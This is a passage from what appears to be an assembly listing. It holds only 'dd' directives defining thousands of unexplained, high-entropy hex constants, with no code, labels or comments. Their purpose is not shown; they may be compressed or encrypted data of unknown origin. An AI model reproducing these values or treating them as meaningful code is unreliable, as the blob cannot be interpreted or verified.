3036E394h, 0BE9E9CF8h, 18BB7160h dd 0C4214865h, 109F5D22h, 3814E21Ch, 53806FF2h, 4F4763EEh dd 5A02C449h, 4345FE34h, 0B190E09Fh, 0D9A00E25h, 0F65398EAh dd 0D4D1E07Ch, 0E88C8CCh, 0A0730886h, 4EDFF6F1h, 0A2808487h dd 305FF2E8h, 8906C503h, 1AAFFF3Fh, 0B5E41748h, 0E9F884D6h dd 73A2B884h, 0B1651862h, 596C1953h, 0DAA18C13h, 3E100A0h dd 8664BD9Dh, 0AC84D5EBh, 8C23BC1Ch, 0A485791Eh, 22701A81h dd 13D427E9h, 0CE305AADh, 0C25FC8C4h, 0C0697522h, 6DD11273h dd 0F9B3889Ch, 0A907CF89h, 0B09C01E4h, 199F725Bh, 0BC08A173h dd 0CADF4279h, 0A1AD6410h, 0FF00EE8h, 78823Ch, 24506023h dd 0C8120880h, 4D2B903h, 61911F0Ch, 8C5B4470h, 0AB8094F9h dd 0B0817820h, 42D527E9h, 70E23065h, 0D8E4180Dh, 28825403h dd 0E0686D7Ah, 0C23153CFh, 0C1D450A8h, 0B2E8AF5Dh, 0DDB8A4F9h dd 0CDC4C01Ch, 0A8B90802h, 1E8CD6FBh, 9CC8E5EBh, 0A414820Fh dd 0F2A00Eh, 6ACFD28Ch, 9C16791Ch, 8FA04F98h, 8E943B61h dd 0E6F11F01h, 681D0EB1h, 0F3EE2080h, 9B84445Ah, 0ECD7C126h dd 0EC0420EFh, 746611E0h, 42A20957h, 48502BD5h, 9E023CB4h dd 69BBFB1Fh, 5ACCCB54h, 50F01F1h, 0FA1ACFD0h, 0B719D01Bh dd 9F460702h, 0DC5CA589h, 9023EBCh, 0B67DF7A1h, 12A0905Fh dd 0EC87956h, 905964F3h, 94334243h, 81BC38C8h, 82005842h dd 51AE3F5Ch, 4E0226DBh, 5DEBCFD5h, 9D45660h, 0EC74F516h dd 63F13900h, 0B1E8754Ch, 95B00090h, 8183A545h, 0C099CB71h dd 0F3FBC305h, 0C0BBA8D2h, 0E4FE34h, 90BD4648h, 0AD4A57CBh dd 1C7A1D00h, 39C70C51h, 3A8A7644h, 0CD98EE2Fh, 0CE132880h dd 0E7845C00h, 3E41465Bh, 3B500053h, 0CB9FD848h, 540062E2h dd 0BB2FC6A0h, 84AC67h, 0F156EEB9h, 8C4E1D94h, 3B6BD3Ch dd 29479BE9h, 0BFA3E3h, 0EC6EF408h, 1B75E83h, 3AB630C0h dd 750FACBAh, 0EFD83BCBh, 0B1C017Eh, 0EE96055Fh, 0AEBD4359h dd 80B3AAE9h, 717F5D10h, 0F7171384h, 1B9962CCh, 90D7C66Dh dd 19552380h, 0C5777E03h, 0F043F7CBh, 683E010h, 0A88FB690h dd 92F0C8EBh, 725D6100h, 0DFC7020Ah, 62A5034Eh, 5F8DED93h dd 0BD092CF8h, 0B00E4837h, 0FA417977h, 7FEDDC35h, 4E3AAC40h dd 0E29CA006h, 1A440A23h, 3EF10C1h, 8AD859Fh, 803120D9h dd 8D639071h, 0F5CDF40h, 3A9144E0h, 0E200D055h, 6A2942D8h dd 9C07D57Ah, 0AEFF0B4h, 36CE35C0h, 0E5F0D3h, 1D5B4FCDh dd 0C07CFB48h, 9D4C0118h, 1E12841h, 0C85B522h, 0F82B68C2h dd 64CF634h, 9E657653h, 7D82FE29h, 40E0E003h, 0CB670B3h dd 0E6AB8EB2h, 0F0E211A9h, 4BC16D00h, 56719584h, 44D81DD5h dd 0F873002Dh, 2E1C68D6h, 78E34000h, 13E2CA39h, 0E9B06019h dd 550E7A2Bh, 939D2100h, 6EC9AE2Fh, 4BA50051h, 45382615h dd 6400A041h, 58D53520h, 1B49AE4h, 0D6EBC572h, 0C852854Ah dd 3700F5B2h, 393FA08Ah, 79D60B4h, 0DD488C2Ah, 0F9188C33h dd 84D0C002h, 0B6739EC2h, 0FC930220h, 2848A689h, 42499887h dd 0E160C1E8h, 610395FDh, 4D88897Fh, 0BF11E029h, 0C54C3AB7h dd 4EE6F903h, 589BA114h, 842029ADh, 47D31681h, 0C0801410h dd 0D99B8CF7h, 75CAD3Eh, 0DE7449Fh, 3DCFB500h, 592B003Eh dd 96366ECCh, 0B9152EF8h, 653449F2h, 80440908h, 436EDAF7h dd 0FC72E0A0h, 88E00067h, 5805A229h, 5114890Dh, 7CE821F4h dd 83042257h, 0C64E7E1h, 26300110h, 21003550h, 5788E4B2h dd 660A414h, 8C4DE12Ch, 8422823h, 441CF521h, 11E94262h dd 991103D3h, 457C11B3h, 2510D521h, 8286D8Ah, 7188ABA7h dd 0F0B8889h, 11143194h, 5D21A6DAh, 910E2808h, 404805h dd 2072D426h, 1362D0Ch, 179C0A43h, 30FCDF07h, 6700975Bh dd 6A62945Dh, 0FE10F86Eh, 9E0B0043h, 55D7C709h, 0D100D9AFh dd 8CA58B83h, 0ABAEFEh, 5BE41A6Bh, 908877B1h, 251E2D00h dd 69FC8D37h, 9A9E0759h, 0B00B6A01h, 1135029Fh, 40855A00h dd 8F6C7C4Bh, 0D06EC053h, 0D54FCE38h, 3663FA00h, 2CC5F5FBh dd 671D0FC0h, 72408131h, 658CBF1Bh, 0A3557600h, 6A301F94h dd 5EF0000Ah, 0DDA05D4Bh, 0C7000479h, 95D9B75Bh, 0D08783h dd 57AE1162h, 48C493E4h, 74F6600h, 31E9AF13h, 82E1001Ah dd 29FB3360h, 2306A50Ch, 0A262D44Ch, 17F80320h, 1F16E382h dd 0F20E5DD0h, 8E60A53Ch, 1B8A9Dh, 0FFED9E7Eh, 3D90D3h dd 10BA8F1Fh, 3C4722Dh, 1D18600h, 264EAC8Ah, 0CF8700B4h dd 6832C1BFh, 0B6246A46h, 81098452h, 0BC4C072Bh, 99D46540h dd 4498F4h, 0E14AE6B7h, 1F5E9251h, 46D6710Fh, 0F86B408Ch dd 0A1A0D9h, 142C3907h, 0A7655920h, 5DC51800h, 0B663A446h dd 36260049h, 942ED4B8h, 1100412Bh, 3BBC96F6h, 0D534B37h dd 0F8272CB2h, 0B4E0DC80h, 4924EE00h, 0A94990Bh, 63D10005h dd 0C68C7169h, 5A05BBFCh, 5057DF01h, 39E2BDC0h, 9833000Bh dd 0E388058Bh, 2A00AFBCh, 0C84F7F5Ch, 3F11660Ah, 500788Ch dd 0B00FD63Eh, 53005728h, 9B43A54h, 0A1C910h, 2DF604B5h dd 2FAD88AFh, 3736BE04h, 0D880CE1Ah, 69FD9Bh, 47834A94h dd 0EE7D26B5h, 9DC51200h, 3B92E98Bh, 0FF4B0029h, 0A756EC01h dd 0AD07604Ah, 0A1A337E4h, 617A02Fh, 225C5B1h, 6A2372B9h dd 28405BCAh, 3B00394Eh, 0BD26D3BBh, 0FD4664h, 0FC2DEDF2h dd 2C515524h, 385FD71Eh, 9A7F67C0h, 7DD928BBh, 1B3D2463h dd 0AF340034h, 0AB9D24C8h, 0F0C0AEEAh, 0A8E8C42Ch, 5AC60025h dd 9331E327h, 0E07BFC56h, 582EFA2Fh, 3090E648h, 0FE481954h dd 6000350Ah, 7F3C1AE6h, 1DFD26C5h, 0BE4A7375h, 0DEB67A87h dd 6E09F079h, 10ADC98h, 0CF237BDDh, 0C4756100h, 1F1D87Ah dd 0C435AF8h, 0D4B7692Ah, 0C3000F16h, 1195BA4Bh, 0B9B5E2h dd 586282ECh, 0E141DB4Dh, 2BC4F700h, 7CB77DCEh, 65260261h dd 9D3984EBh, 87923160h, 2F4AC300h, 12A6EF30h, 0A4380029h dd 24F3B1D9h, 9839BC7Fh, 0EF0D004Ah, 7AF2554Eh, 0DC2200F7h dd 6E02A5E4h, 0B73F0C9Bh, 729000C2h, 8B2009F3h, 3EADF8CBh dd 0D187C394h, 40825E2Fh, 78D5468Dh, 981F7F00h, 566C3C87h dd 0C4960690h, 110FABEFh, 160BDE01h, 67DAB79Dh, 13093CD8h dd 0F36E429h, 0A44053C8h, 0EEF098CCh, 9C7B1700h, 0EC28F477h dd 0FE310046h, 810FBCFDh, 1200C7D4h, 0F929F741h, 308B0FFh dd 2095DED3h, 201F9CABh, 3EC04798h, 0B07822EFh, 84880E5Ch dd 0FC00B52Eh, 77837ECBh, 0C809C8C0h, 1C66C4C7h, 802A6DC0h dd 4207167h, 341CD873h, 95000BA1h, 0EB3D86B8h, 5E2C0049h dd 254ED063h, 89007C0Ch dd 7A97C173h, 6E86E7h, 387FD684h, 962C439Fh, 0E5DBAE1Eh dd 716BF800h, 0CDA6D3h, 2A18AC29h, 9F41B546h, 539D4748h dd 8F2AE800h, 0D440EB1Eh, 0D91CF4C0h, 519B0078h, 1A256831h dd 9507EF5h, 0CE0AFD80h, 0FCED9897h, 0EC5A1900h, 40CC255h dd 0B290D859h, 80EC84E8h, 152F7ADCh, 0AFD6A03h, 98B0EE99h dd 591C13h, 2AEDC705h, 7E9415A3h, 0A23A3278h, 38E10097h dd 61BADA92h, 5A34000Eh, 0E513A970h, 0C000A776h, 0E108DFA2h dd 7B72C2EDh, 8B1F05EEh, 460C5Eh, 4A47CBF5h, 5A58CC63h dd 0A8B02AD6h, 1302A701h, 97E9CA19h, 0E453F4h, 457BDC2Ah dd 8F1739E3h, 66256200h, 998E1235h, 0A5E8000Eh, 29A6E637h dd 2100D540h, 0FF97E44Ch, 407AC146h, 0D9008128h, 1493240Ch dd 0EAC7D6h, 4F887B64h, 5BD377DBh, 2890B679h, 5443990Eh dd 8400D2FBh, 0D35EC44Ah, 0FC7180h, 2797DB0Dh, 0C74F9FBAh dd 0C50EBEE0h, 215B561Ah, 2245481Bh, 6B81A6h, 35033204h dd 7A38A3A6h, 510EF6CCh, 89B5B80Bh, 965D80C1h, 0EEC7BFh dd 7AA7B988h, 33BA2B1h, 85AFE200h, 3A18B00Dh, 6F163CACh dd 0D8DA7400h, 58F22CE5h, 2699463Eh, 0AA006773h, 59CEC956h dd 0A0B9F695h, 1ADFA8h, 162F0A4h, 5CAAD37Fh, 28329100h dd 4F936C82h, 0FC130067h, 0AD07ED83h, 0CDE4B6B0h, 2DC95403h dd 0A89DFDEFh, 87F1A33h, 1BF93E80h, 83C06980h, 2EC2E0h dd 49264377h, 5C0793EDh, 96AA2F00h, 40EBD201h, 51FA005Ah dd 60533567h, 31002D95h, 278F70D6h, 4E34BEh, 0FFF61C5Dh dd 6A93C698h, 51117F0Fh, 0F18E80A1h, 786C3149h, 768000Ch dd 0BF3CB8B6h, 863B988Bh, 244580FBh, 0A960E9EEh, 0E8E000BDh dd 3C9DCD9Fh, 840016BEh, 44F88519h, 9BD7DF5h, 271A7A7Fh dd 295485h, 7A36D30h, 0C000C81Dh, 0C7A96582h, 2D943h, 991FF99Dh dd 7CCEF34Bh, 0D77EF105h, 0B180A486h, 3C27DD29h, 0E814D04h dd 3994A837h, 0F1F0EB61h, 0FCF5B7AEh, 0B900035Dh, 9EE1C9ADh dd 3B8085C8h, 0E4070BF5h, 701ECE02h, 0C04710BCh, 2219FF03h dd 0E7EFC690h, 8B082000h, 24E0A064h, 7CFA005Dh, 0CE8474FCh dd 0F099204h, 87FBF4ECh, 2BA016ECh, 0F03E20h, 3786F306h dd 9FEA527Dh, 58651000h, 0FF3F7F96h, 0A5C700ABh, 0BBAEE1BCh dd 4BE0B4B0h, 4268C801h, 0EDE786E4h, 0C759F1D4h, 0E0EED011h dd 9844E0Eh, 0BE692800h, 178BAF53h, 0CF78B3h, 5E9B2EC3h dd 0F9F19673h, 0FDEDE93Bh, 8802B104h, 4880BED7h, 50031297h dd 7AB8CE89h, 0D874009Dh, 0D6D5E24Bh, 1F3B0729h, 45590011h dd 3E891E4Fh, 2C350398h, 30399391h, 0D5DBD2E0h, 0F6A84702h dd 402DAAB1h, 0A3148h, 95933FBCh, 76B504D1h, 46610B00h dd 97DCB82Bh, 0B1FB00AAh, 0A23025F9h, 95000580h, 9043AB3Eh dd 0C040B5h, 820FCCECh, 0FE672D9Dh, 4B0830E3h, 0A7CECD0Bh dd 36B001E3h, 0E6C031ACh, 0B0A07566h, 0C0BE0030h, 0A4BDF04Eh dd 511409FFh, 16C8EE8Dh, 0D8207A0Eh, 7D59C4B7h, 12190FFh dd 3268D444h, 34C31BBCh, 6F00A13Ch, 902C83FDh, 300B0FE4h dd 13A8C094h, 0BF002D29h, 0DE4592D0h, 59BD9EABh, 0E601EC96h dd 83AA0399h, 483183B1h, 17A8E56h, 46FA3A21h, 0C0EDD9DCh dd 93EA6E7Eh, 0A3895C02h, 0C8067BCBh, 8876DCh, 6F60C85Bh dd 3CE15965h, 0F6EA8EFCh, 0F997C13h, 8611E002h, 0A52C60DCh dd 0B438389Ah, 25A21580h, 20BB7062h, 0D7EF8800h, 93FD2D2Ah dd 0FC524880h, 0DB0A2E03h, 0A808A875h, 62E8FCh, 599CE0ACh dd 0AA002E04h, 0E4C81963h, 3142FAh, 41712A25h, 0E869DB8Ah dd 39FEE671h, 0B2FEFF04h, 5580043Ah, 1D98362h, 0FA369774h dd 65595ACFh, 0FB2DDC48h, 61C32A09h, 98E88065h, 6BB875h dd 0CC59AB42h, 962AC7DFh, 272E3Dh, 605A6C6Eh, 1F26E5A7h dd 3A3A9D8h, 5E79DFDEh, 63146AD0h, 245F4000h, 31BE7B0Dh dd 2D160029h, 0E54F19CDh, 5600FE80h, 8218904h, 8F2EA9h dd 0E97DC8E2h, 0B08C6EF4h, 0BF00A1E6h, 9A1840DBh, 72C3FCh dd 50354EBEh, 3DE9EA08h, 0EFCF1400h, 0B91B6BFBh, 53EB0E59h dd 0B7A19FA0h, 70E860B3h, 0A7070C82h, 0B26BD64Fh, 716591F0h dd 0AE090013h, 2D62F770h, 0F1003D43h, 0A531C05Bh, 174ABA1Ah dd 0A067C2h, 0C36DE614h, 0D1094724h, 20BD87DDh, 4BC2B420h dd 231614E3h, 35009C61h, 0BEA86E21h, 4006609h, 0EE06AA7Ah dd 985B6C3Ch, 0F6B124DDh, 4879624h, 0C00495B4h, 27393F08h dd 0F8E9203h, 8AC751Bh, 496170A9h, 831EC089h, 0A08E0EC8h dd 30B3D309h, 0CB28858Ah, 0EC09076Ah, 80378983h, 6695A1Ch dd 636600C5h, 8129CF59h, 7A24473Eh, 0AE00C8BDh, 60C2D926h dd 15B88Ah, 0A42E0719h, 342F428Fh, 75E5E702h, 60069FC0h dd 25D0529h, 44F64324h, 0E8802BC9h, 0D8E5B1D5h, 9FFC484Ch dd 0C080A58Fh, 0AA201B5Ah, 466D010Ch, 49868894h, 23F9E027h dd 5C593F00h, 0AD55269Ah, 92100163h, 0D7DF1B81h, 43E840EEh dd 978831D5h, 84A40B11h, 64A0723Eh, 0F1A35417h, 20007FEEh dd 0E466B668h, 266E049Ch, 0BD902ADDh, 0EB2EF00h, 262818C7h dd 29AB4B00h, 7603953Dh, 759B00D5h, 50F8C8A5h, 0D00B9F3h dd 70578488h, 244BC06Dh, 0D2D8h, 0E7A99B55h, 0F17FEBF6h dd 15B82100h, 48E58B85h, 0E6E4E27Ah, 0AE19001Dh, 234C9601h dd 0D0C08937h, 0F79368ECh, 7D2B00DDh, 0DBA44382h, 0FE03588Bh dd 0C2063F3Dh, 9F26C890h, 0FF7475h, 0A864EEE3h, 0D1808BD3h dd 0A7335704h, 1C974261h, 0DCE00059h, 4B1763h, 0E87054A8h dd 0F510B57h, 0CB10EB07h, 419081C5h, 870EB3h, 0F195F934h dd 0CD9A4CDCh, 781F6370h, 0F6C284A1h, 0C090E24Eh, 26187FC8h dd 68E0BAh, 5FD5D311h, 0CE12787Ch, 4840F638h, 68B8EB1Eh dd 0C86E4C58h, 0E3D2B500h, 2D369362h, 5E86B403h, 0A89D81F5h dd 3F1A898Ch, 0C2484A6Dh, 0F8B70572h, 0C014B44Eh, 39CC854Ah dd 9F00C8F4h, 9899CB3Eh, 0EDF5137h, 9DAA3277h, 0C4F48020h dd 840B189Ah, 80CB72D8h, 0C07D6C8Ah, 594A004Ch, 63EB8C2Ch dd 167E6DA7h, 53973F00h, 50E5C526h, 2D1709C3h, 286966ECh dd 0BA92E008h, 164D2488h, 2D556D3h, 0FC820540h, 2E070451h dd 8A3024C8h, 329A69h, 0DD172580h, 2119F753h, 4A9C202h dd 582A1CBAh, 0E1204DCh, 0C1470D89h, 609BD157h, 7B1DCACCh dd 59815CD3h, 0E5542573h, 73E6060h, 960C9A6Bh, 0C0EB05DEh dd 5DB956C2h, 3B9DF001h, 505F4E95h, 121B91D8h, 9039609Fh dd 0C1EC17CCh, 0FF6962Ch, 6785E201h, 0FC30C48Ah, 40D10441h dd 80BE320Dh, 3B718E48h, 57586F00h, 88B33DCCh, 0B022h dd 0D4BA47F2h, 0C99F60Bh, 80FFE13Ah, 37C5A41Dh, 3C579646h dd 4880444Eh, 0BED6892Eh, 92075806h, 7626F67Dh, 3F3B90A0h dd 3CC04A9h, 0B407B867h, 79001760h, 0DEE30C58h, 0B0EF51E8h dd 0A20700F8h, 9ADB273h, 0B3008DEAh, 507A8A04h, 7743E5h dd 0C3C12F79h, 64FF55C6h, 4DE7F907h, 5B09C13h, 0DA200Ah dd 0F7422B81h, 5ABEE6DFh, 1F70715Ch, 2411BAE1h, 80A9C01Eh dd 4D466CF5h, 0C3EFAFF6h, 0C8ACA6E9h, 0A300E8BDh, 3893A29Fh dd 1D362FBCh, 400298C8h, 48C64365h, 510C3C8Fh, 52D41E96h dd 0F42D54C9h, 0F52B1C89h, 0C3A7C393h, 61D0DF88h, 1500E8C7h dd 0A200B50h, 0BB40E4h, 2D8D7A16h, 76CF447Bh, 7158FEF4h dd 75060028h dd 0D53FE813h, 0E97A00DDh, 4751327Fh, 5F00C27Bh, 0A23D21F2h dd 1D33F6B3h, 8FD7EC7Ah, 72E754CDh, 906220FAh, 0BB0020B0h dd 0C5CF3E3Bh, 9B1EAE9h, 2B4D42AFh, 6F161880h, 0FA07788Fh dd 8D5777B6h, 3A2DB051h, 50C3C70h, 0EDF59B5Ch, 300CD779h dd 0D7AA5759h, 88151A00h, 0BCA11ED9h, 10C9AEDh, 0A3A7940h dd 83EB6768h, 0D16F2D60h, 0F70A6E0h, 8F8BDC7Bh, 0F8B90859h dd 0EA507206h, 1E506D10h, 790D391Ch, 83A87DAh, 5C7E58A7h dd 6D002C20h, 0BBA2E132h, 74A30257h, 0C5A9893h, 0BEFC53A5h dd 64506D18h, 22007418h, 0ABEC13BAh, 1572C640h, 843FDA28h dd 3E4701Fh, 2E4578BDh, 430E307Ch, 4FC5A320h, 49DB0735h dd 2A2BAB41h, 0FF821A4h, 0B6477DC6h, 3B0C9AA9h, 60245614h dd 0BE421A05h, 0A0D1002Eh, 0CFBAD908h, 0FADD1200h, 1FA122FBh dd 2D500018h, 0ED27EED4h, 80015F7h, 7735B125h, 0FABE4D4Fh dd 0E39C5C18h, 0F8B84B07h, 8656909Eh, 8917A28Fh, 0ED00B315h dd 3884E349h, 7870C7h, 9C253FF7h, 4C3ED883h, 0D4650B05h dd 2087F61Ah, 0AF44FD20h, 0EFB0009Dh, 3B377A24h, 0ED007F92h dd 714D9925h, 73CA0Dh, 792831A3h, 17AF0CECh, 0F7E97A67h dd 232C7DA0h, 4F13005Bh, 917235FEh, 0B6002FE0h, 2DC23815h dd 0B2B5F6Eh, 6D55E1F9h, 0A8165423h, 899809A9h, 20F30B10h dd 89CD5600h, 647100DEh, 587847B0h, 0A87A6232h, 0BC462A29h dd 0C3B78900h, 1B6F7Ch, 86642772h, 20854BE1h, 0FC8E61C0h dd 0E577313h, 0AB1C5A59h, 0DC43F40h, 19789A4Ah, 0F8F2041Ch dd 3C03DA03h, 3DB9F1A9h, 226DC5h, 587A5514h, 71EBBA00h dd 211AABE2h, 847F743Dh, 46B97DEh, 6F4A80FEh, 0BA0158DDh dd 0A4E645ECh, 48804030h, 5F1A8FDCh, 4A7F7ABh, 368C6057h dd 0CD75172Fh, 0EBD1F800h, 4D554896h, 0F0EF3008h, 14FABD18h dd 0A5F29900h, 344919E5h, 5A3607D1h, 918C92DFh, 0BA1B23B3h dd 96007950h, 7378ADD6h, 3468D88h, 706630C4h, 300C9A3Ch dd 81CBB312h, 0BCB20EA8h, 0DFE056DDh, 0F45DA4F2h, 3A8144Ch dd 0AC63292Dh, 11E8D94Bh, 9955B980h, 73C02704h, 255C7400h dd 0C3A17932h, 92FA0007h, 0B65B2E2Ah, 0FC3F0654h, 8A4B03A6h dd 0F0AC0187h, 37FA858h, 0F3BE7D7Ch, 0D000E019h, 0A41E4BF8h dd 18859201h, 189CD90Ah, 0A8004056h, 0C246BAC1h, 2876D1F6h dd 19072E8h, 9F507C70h, 513DD88Ch, 80E6DCA8h, 754485D9h dd 132059DBh, 14B9DFAh, 0F8632A74h, 57AC57ECh, 60B4CA7Ah dd 0AE0D6D49h, 0C021F50Ch, 10368F9h, 0F6611985h, 0D8569A81h dd 0A8C07A6Bh, 0C995DC54h, 0AB71000Dh, 0F2A13184h, 0DF188539h dd 0FA88F055h, 41CC0073h, 0DA33927Eh, 0D8DF7134h, 5118C32Ch dd 20DFE718h, 0DA249BECh, 541CF8h, 745859A6h, 5BC7BAF6h dd 3055B41Fh, 5D560900h, 3E0AEACh, 5EB1C357h, 38A5B3Dh dd 3B0061FEh, 0A0D6A7C6h, 0D680127h, 8F6B34BAh, 5CE086BFh dd 269B2D7h, 13415A4Bh, 0E08596FCh, 6AE446D4h, 150020F6h dd 0C71940A1h, 1EE362A0h, 4C02CCCFh, 0F0A9D4FCh, 60633Fh dd 0E8F68C91h, 50B67FB2h, 40CCDC73h, 60045D06h, 54620DD7h dd 0BBAB0490h, 222F0EE2h, 8C46DB66h, 0FC0A50C9h, 0A479D84Bh dd 1B1EC283h, 0DB56E0B4h, 32070028h, 7D8F1C7Ch, 3B051A92h dd 6750C66Eh, 46052038h, 28206F28h, 5EB80143h, 5280EF22h dd 53C17AB8h, 9713F4B3h, 0B0FCB19h, 21801508h, 40F22CCDh dd 1400F859h, 23BE4F2Fh, 1454DB63h, 0E025A1ABh, 3000FF89h dd 0AA64F650h, 37C0B61Fh, 2144307Ah, 0B4509h, 7E87A70Ah dd 0E3353A50h, 0FC859E03h, 1F42A873h, 94DC4CA0h, 450198ECh dd 0B32A8D86h, 0D7BC50CEh, 68009CC3h, 770AAF57h, 0E8EB5B75h dd 9421C091h, 63159C46h, 0FFDEDC01h, 10D99E28h, 0C75A3870h dd 0C0232D89h, 0C036199Fh, 1D07AD01h, 0FAB7B54Dh, 0A0B30424h dd 908E3328h, 0EE6F038Dh, 995A7BF2h, 0E77A35E0h, 8000B44Ch dd 0A22CE20h, 263A7CAEh, 1444A417h, 7ABC905Bh, 0BE75008Ch dd 64D78648h, 0E02E853h, 0B39576DAh, 5D64415Fh, 3040ED19h dd 64938E44h, 72006711h, 8CD5DA5Dh, 3424CD3Bh, 7198E050h dd 0C09DB321h, 8DB129E9h, 53E4C581h, 0E8F2D00h, 0B3D70597h dd 0C64E00B2h, 580F0DC1h, 88C890B5h, 968CC5Fh, 96FEFC15h dd 21853044h, 440C014h, 0B941AB2Bh, 0F8E8CC6Ah, 3EA7E300h dd 0B4D353A0h, 76603011h, 0C578A514h, 0DE2AD501h, 897CAB07h dd 1292C7FCh, 129095F2h, 43F43110h, 9708801Ch, 248369D7h dd 0AC6A5426h, 0F9300090h, 0BC171EA3h, 0E9E29FAFh, 0EF0F9375h dd 809E8775h, 312D086Dh, 2EBA0CB6h, 0E3A10CB3h, 9A018F00h dd 613D3FEFh, 44B41F82h, 0F4853F1Fh, 88C458A7h, 0A80CF628h dd 110F8366h, 182B4C42h, 85ED7880h, 5528A4E7h, 0C4A7A0B3h dd 0EC608344h, 300B11Ah, 4F88A91Ch, 54EFBEBDh, 46E862h dd 0B39C20B0h, 7121A42Ah, 3839C64Ch, 4F318036h, 0B0932F53h dd 0AC8548DBh, 8CF6BCh, 564FF8A2h, 0F9D61999h, 0ED57D016h dd 0E8D42414h, 3008CE4h, 93B7E69h, 59C88497h, 35002C77h dd 64E757Fh, 80A81D12h, 34508698h, 0A4FF43B0h, 0E81E6C69h dd 0D0F58ACh, 848C19Fh, 7860F516h, 7DEA0C8Eh, 0BD405C2Fh dd 184C60F9h, 344C8Ah, 57854072h, 0A65EC828h, 0FC72400h dd 0BB30974Bh, 7551038Fh, 49F1E52Eh, 238E40D0h, 0D4F0B558h dd 8CAFE888h, 59511C00h, 600B2207h, 9CDD166Ah, 62A86554h dd 51312BFCh, 2BFC05FCh, 80307B5Eh, 0A740A410h, 0D6032552h dd 8BC9BBE0h, 0CE8CD8E4h, 819880E1h, 0EABC88A1h, 90BA2CC3h dd 6E443067h, 0F2E0D860h, 0D4A95902h, 8308A4F4h, 1C9268CCh dd 40544168h, 0D1F2F7F6h, 481C6553h, 0A046355h, 0CA09176h dd 0D71A4037h, 0BA264906h, 7BA9884Ah, 0C0AB265Dh, 0B2CC0A4h dd 3C7DF623h, 1E514486h, 800B4400h, 0EA549D48h, 0F8BC019Fh dd 0CFC90FD3h, 686880CAh, 27255910h, 147F8A8h, 8AEB1B75h dd 4E44B5FBh, 0F66E84B8h, 0DCD0F233h, 201AB5F1h, 8468CC61h dd 0A1672C8Ch, 0DD4D2A9Ch, 0C06062EBh, 7F9C508Eh, 0DA6C0080h dd 0FB7243B9h, 8525CA7Eh, 0E72418ACh, 0D79821C7h, 90A9904h dd 0D1544893h, 0C0725D88h, 2E22010h, 3103F896h, 82B0510Fh dd 2615FA2Eh, 0C0F90C4h, 82A29D94h, 6898900Bh, 99405C44h dd 36AC68h, 21F9BAD3h, 0EF4AA8F4h, 95C6A040h, 1F14DF6h dd 0EE011D9Eh, 4425A909h, 92EC83B4h, 40225108h, 63C640F7h dd 890756Ch, 49A0B257h, 78DBAC54h, 28080025h, 0D1F53BE6h dd 751C3599h, 160C4D55h, 50426869h, 86640FAh, 9F013070h dd 0EBE8DB06h, 687500D1h, 58BEE4C1h, 6002A15h, 1F72BF4Fh dd 0E6504F0h, 4BFD0F14h, 42B0AEFCh, 218E840h, 945113F2h dd 5BEC38A3h, 32F22A00h, 9D8F7ACCh, 53E20067h, 0FAA95896h dd 0C2149324h, 24E0D4E8h, 59608C95h, 247001F4h, 9916AB4h dd 8063C063h, 0E7D037B8h, 0CE918B00h, 709FFFCFh, 0D8EB04CBh dd 0CEA15D13h, 0C0A88858h, 0D048CB57h, 34C9B90Bh, 0CAC800FFh dd 14569141h, 8073E079h, 6C04488h, 46945DF2h, 0E22203h dd 0A7F22ECFh, 0B9D26D15h, 544878B9h, 7F36007Eh, 55222E24h dd 950F7518h, 139866B2h, 4CF03850h, 85A21714h, 302FD452h dd 0A077A23h, 7340CE2Fh, 0A5E69462h, 302680D0h, 70F2B83Bh dd 0DD849616h, 50DCD422h dd 0B0AB00DCh, 2BE6F2F3h, 0CB002A86h, 4DD1B989h, 7DA3E0A5h dd 0C99603D4h, 0F6F79AECh, 6C602FEAh, 34940755h, 46D16021h dd 0A900F918h, 0E7B92E45h, 96119FF8h, 727C47ECh, 44C5FD1Ch dd 26A3FC06h, 0A1189819h, 2730B186h, 38AC9AD3h, 54A47063h dd 0D00C39A4h, 5F186ECBh, 0BC8CD548h, 0D6098CEBh, 0C8F945EFh dd 174B17Ch, 0A36DB85Ch, 70A4E1DDh, 9AEEBEF8h, 7007D8B0h dd 4D453AF9h, 70D2D454h, 64C86DB2h, 38A7609Dh, 1DC32CD8h dd 8188215Ch, 44397035h, 54DECCCBh, 0C4C7AB2Bh, 560B4301h dd 591814F6h, 175B1F88h, 12BE540Eh, 18D81874h, 0A200C1ACh dd 0F2F5C89Eh, 4DDA9295h, 60DEC5Ch, 4611B4Ah, 8854CEC0h dd 0CB08C071h, 0D200C82Dh, 0DA34615Bh, 4B1A2274h, 357C2049h dd 9C00F1F7h, 0FABF0EF6h, 0BAE5441Bh, 349A001Ch, 0C3C2A85Ah dd 18568D85h, 9C2102A8h, 313F4D36h, 60521298h, 0FEE21D0h dd 967478B1h, 0E1EDF283h, 7935E002h, 50346095h, 0FFC914A8h dd 0E602DC18h, 4AF74BDAh, 9E6BA820h, 42349178h, 0AC51D397h dd 7018E871h, 326A0202h, 81557D9Ah, 2DB3C6ECh, 40721C30h dd 5094D575h, 0DA1B787h, 61732162h, 19815550h, 1586EF42h dd 2DE740F8h, 0D8A44B06h, 348E1107h, 43B2B566h, 1ACC4B6h dd 92FACC85h, 8053D75Ch, 42841949h, 0F21B91F5h, 9C3658DCh dd 720FACC7h, 4053BE5Fh, 58842A11h, 79A60441h, 6B208332h dd 0FA8A40C6h, 16187FEFh, 49DC7BFCh, 0C0B53360h, 64F66788h dd 408C977Bh, 0F9DE077Ch, 8F3BC814h, 0DB4B0CD0h, 8C50580Ah dd 740B60Eh, 348B92FCh, 2D903920h, 0F9D54802h, 4483F7D0h dd 11946E8h, 576D9C54h, 0E20C0AA7h, 9595188h, 0A1DC829Ch dd 8ED75C82h, 0EFF84703h, 0C2859F51h, 0C867B822h, 8E1212DCh dd 0E8452C40h, 0F2110486h, 623B935Ah, 19CC2006h, 0D77D8FF2h dd 904D7F04h, 48C09B5Ah, 0A58583F6h, 9D516F5Ch, 45D62102h dd 3D2F6040h, 0F8660AE7h, 262C98C3h, 80C20A6Ch, 9D467C34h dd 2137617h, 5472F6E8h, 7E00AC52h, 6E7B43CFh, 2A97BEh dd 0C1A7DE90h, 2179323Ch, 0DF3BF114h, 0EF5B1094h, 58F207C0h dd 80B90B93h, 0F22F5AC0h, 1CF73A3h, 0F54D9C1Ah, 23513D87h dd 6BBF1C88h, 0B5A93400h, 480685C2h, 0BA82AC81h, 0B08231A1h dd 7822AD4Ah, 127051D2h, 10383A2Ah, 81CEF780h, 0C06D6F47h dd 0F284833Eh, 20917E60h, 77B9C4Eh, 0C877D697h, 2D8DF26Ah dd 9C28B4B0h, 0EB4798C4h, 8D8080E2h, 